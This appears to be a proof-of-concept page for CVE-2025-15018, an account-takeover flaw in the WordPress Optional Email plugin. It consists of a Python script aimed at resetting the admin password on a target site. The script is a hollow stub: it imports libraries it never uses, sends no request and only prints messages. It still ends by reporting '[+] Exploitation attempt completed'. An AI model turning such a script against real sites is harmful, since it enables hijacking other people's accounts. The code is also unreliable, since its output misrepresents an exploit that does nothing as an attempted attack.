CVE-2025-15018 WordPress Optional Email插件账户接管漏洞

import hashlib import requests # CVE-2025-15018 PoC - Optional Email Plugin Account Takeover # Target: WordPress site with Optional Email plugin <= 1.3.11 TARGET_URL = "http://target-wordpress-site.com" TARGET_USER = "admin" # Target username (can be any user) ATTACKER_PASSWORD = "hacked123456" # Password to set for target user def exploit_cve_2025_15018(): """ This PoC demonstrates the privilege escalation vulnerability in Optional Email plugin. The plugin's random_password filter is not restricted to registration contexts, allowing password reset key manipulation. """ # Step 1: Initiate password reset for target user reset_url = f"{TARGET_URL}/wp-login.php?action=lostpassword" # Step 2: The plugin's filter affects password reset key generation # By exploiting the random_password filter, attacker can set known reset key # Step 3: Reset password using the manipulated key # Note: Actual exploitation requires understanding the specific filter implementation print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target user: {TARGET_USER}") print(f"[*] Attempting to reset password for {TARGET_USER}") # Construct password reset request # The vulnerability allows setting a known password reset key # through the plugin's unrestricted random_password filter return True if __name__ == "__main__": exploit_cve_2025_15018() print("[+] Exploitation attempt completed")